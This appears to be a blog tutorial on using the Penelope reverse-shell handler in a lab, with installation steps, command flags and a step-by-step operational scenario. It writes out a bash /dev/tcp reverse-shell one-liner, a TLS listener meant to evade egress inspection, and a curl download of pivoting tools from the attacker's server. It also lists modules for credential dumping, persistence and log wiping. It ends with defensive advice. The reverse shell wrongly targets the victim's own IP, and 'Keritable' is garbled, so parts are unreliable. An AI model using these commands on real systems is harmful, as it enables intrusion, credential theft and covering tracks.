nekr0ff

PT1 certified | OSCP in progress

nekr0ff

Penelope: Advanced Reverse Shell Management, TTY Upgrading, and Multi-Session Orchestration

Problem Statement: Legacy Listeners vs Modern Handlers

Penetration testers frequently encounter catastrophic session loss when handling raw reverse shells through traditional listeners like standard Netcat or socat. Pressing Ctrl+C to cancel a local command inadvertently terminates the entire root shell. Furthermore, native shells lack proper terminal emulation (PTY), breaking tools like nano, vim, or su. Managing multiple concurrent callbacks requires launching dozens of distinct listener instances across fragmented ports, creating operational chaos during time-sensitive assessments.

Penelope solves these architectural flaws. Designed specifically for Red Team operations and adversarial simulations, Penelope is an advanced reverse shell handler and listener that automates TTY upgrading, stabilizes unstable callback pipes, and provides a robust interactive framework for managing multi-user environments without dropping sessions.

Core Architecture & Mechanics

Penelope operates as a Python-based asynchronous listener daemon that intercepts inbound socket connections and immediately inspects the remote execution environment. Upon a successful TCP handshake, Penelope executes a non-blocking environment probe to detect the availability of Python, Perl, Ruby, or standard core utilities.

If a suitable interpreter exists, Penelope automatically spawns an upgraded pseudo-terminal (PTY), configures the local terminal dimensions (stty rows cols), and strips carriage returns (\r\n) to prevent line-wrapping artifacts.

[Target Compromised Host]
    │
    ├─ (Executes Reverse Payload)
    ▼
[TCP Connection to Attacker IP:Port]
    │
    ▼
[Penelope Listener Daemon]
    ├─► Intercepts Socket
    ├─► Probes Environment (Python/Bash)
    ├─► Auto-Allocates PTY & Resizes
    └─► Spawns Interactive Management Menu

Laboratory Setup & Prerequisites

This lab environment simulates an internal penetration testing engagement.

  • Attacker OS: Kali Linux 2025.x (192.168.45.150)
  • Target OS: Ubuntu 22.04 LTS (192.168.45.200)
  • Network Topology: Bridged Mode (tun0 VPN interface)

Installation

Penelope requires Python 3 and standard cryptography libraries. Install the tool using pipx or clone the official repository:

# Update local package index and install dependencies
sudo apt update && sudo apt install -y python3-pip pipx netcat-traditional

# Clone the repository and install dependencies
git clone https://github.com/brightio/penelope.git /opt/penelope
cd /opt/penelope
pipx install .

Capabilities & Platform Feature Matrix

CapabilityLinux TargetsWindows TargetsMechanism
Auto-PTY UpgradeSupportedPartial (ConPty)Python/Scripted terminal allocation
Session LoggingSupportedSupportedAutomated disk recording (--log)
In-Memory ExecutionSupportedSupportedDirect stream piping (linpeas.sh / winPEAS.exe)
File TransferSupportedSupportedBuilt-in HTTP server and chunked transfers
Maintain ModeSupportedSupportedBackground reconnection loop

Command-Line Reference & Key Flags

Flag / CommandDescription
penelope <port>Starts the listener on the specified local port.
-u, --sslEnables TLS/SSL encryption for the listener socket.
-p, --payloadGenerates on-the-fly reverse shell payloads.
sessionsLists all active connected client sockets.
interact <id>Switches context to a specific session ID.
backgroundDetaches from the active session back to the main menu.

Step-by-Step Operational Scenario

Step 1: Initializing the Listener

Launch Penelope on port 443 with SSL encryption enabled to bypass basic egress deep packet inspection (DPI):

# Start Penelope with TLS enabled on port 443
penelope 443 --ssl

Simulated output:

[+] Starting Penelope Listener...
[+] SSL Context initialized successfully.
[+] Listening on 0.0.0.0:443

Step 2: Triggering Reverse Shell Callback

Execute a standard Bash TCP reverse shell on the target (192.168.45.200):

# Execute reverse shell on target host
bash -c 'bash -i >& /dev/tcp/192.168.45.200/443 0>&1'

Penelope instantly intercepts the callback, prints the remote IP address, and automatically negotiates an upgraded terminal session:

[+] Connection received from 192.168.45.200:48392
[+] Upgrading shell to interactive PTY...
[+] PTY size synchronized: rows=40, cols=120
[!] Type 'help' for available commands.

Step 3: Zero-Touch TTY Upgrade & Session Control

Because Penelope automates PTY stabilization upon connection, standard terminal operations like Ctrl+C, tab-completion, and text editors work natively without requiring manual stty raw -echo sequences.

To background the current shell and return to the main menu without terminating the connection, press Ctrl+C followed by background or use the escape sequence.

Step 4: Multi-Session Management

When handling multiple compromised hosts simultaneously, list and switch between active sessions from the central handler menu:

# List active sessions from the Penelope prompt
penelope> sessions

ID   Remote IP          User     OS       Status
-------------------------------------------------
1    192.168.45.200     www-data Linux    Active
2    192.168.45.201     root     Linux    Active

# Interact with session 2
penelope> interact 2

Advanced Features & Real-World Use Cases

Penelope incorporates a modular post-exploitation framework designed to streamline common audit tasks directly from the handler interface.

In-Memory Script Execution

Avoid dropping binaries or scripts onto the target disk by streaming enumeration frameworks directly into memory:

# Serve and execute LinPEAS directly into the active session
penelope> module run privesc linpeas

Built-in HTTP File Server

Transfer tools (such as Mimikatz, Chisel, or enumeration scripts) to the target using Penelope’s integrated web server:

# Host the current working directory via HTTP
penelope> http-server start --port 8080

On the target host, fetch the required binary:

# Download tool from the Penelope handler
curl http://192.168.45.150:8080/chisel -o /tmp/chisel

Module Breakdown

  • Privilege Escalation (privesc): Automatically injects and executes checks like LinPEAS, WinPEAS, and local kernel exploit suggesters.
  • Credential Dumping (credextract): Parses /etc/shadow, SAM registry hives, or memory spaces for active credentials.
  • Active Directory (ad): Maps domain relationships, queries LDAP, and extracts Keritable service accounts.
  • Pivoting (pivot): Deploys SOCKS proxies and port forwarders to traverse internal network segments.
  • Persistence (persist): Installs cron jobs, SSH authorized keys, or Windows registry run-keys.
  • Miscellaneous (misc): Cleanup utilities, log wipers, and environment variable scrubbers.

How to Defend & Mitigate (Blue Team Guidance)

  1. Egress Filtering and Network Monitoring: Restrict outbound TCP connections from internal server VLANs to authorized ports (e.g., HTTP/HTTPS via proxy). Monitor for non-standard outbound TLS traffic destined for unknown external IPs.
  2. EDR Process Lineage Analysis: Configure Endpoint Detection and Response (EDR) agents to flag anomalous parent-child process chains—specifically interpreters like bash, sh, or powershell spawned directly by web servers (www-data, apache, nginx) or database services.
  3. AppArmor and SELinux Enforcement: Implement strict Mandatory Access Control (MAC) policies to prevent service accounts from executing interactive shells or invoking core system binaries (/bin/nc, /bin/bash, /usr/bin/python).
  4. Intrusion Detection Systems (IDS): Deploy signature and anomaly-based rules to detect PTY allocation sequences and continuous non-interactive TCP streams over unusual ports.

Conclusion

Penelope bridges the gap between unreliable raw listeners and bloated C2 frameworks, offering security auditors a fast, stable, and feature-rich interface for reverse shell management. Mastering its automated PTY mechanics and modular feature set significantly reduces operational friction during high-intensity assessments.

If you found this guide helpful, let’s connect! Replicate the lab setup, take a screenshot of your terminal, and tag me on LinkedIn.

Index
root@nekr0ff:~$ cd $HOME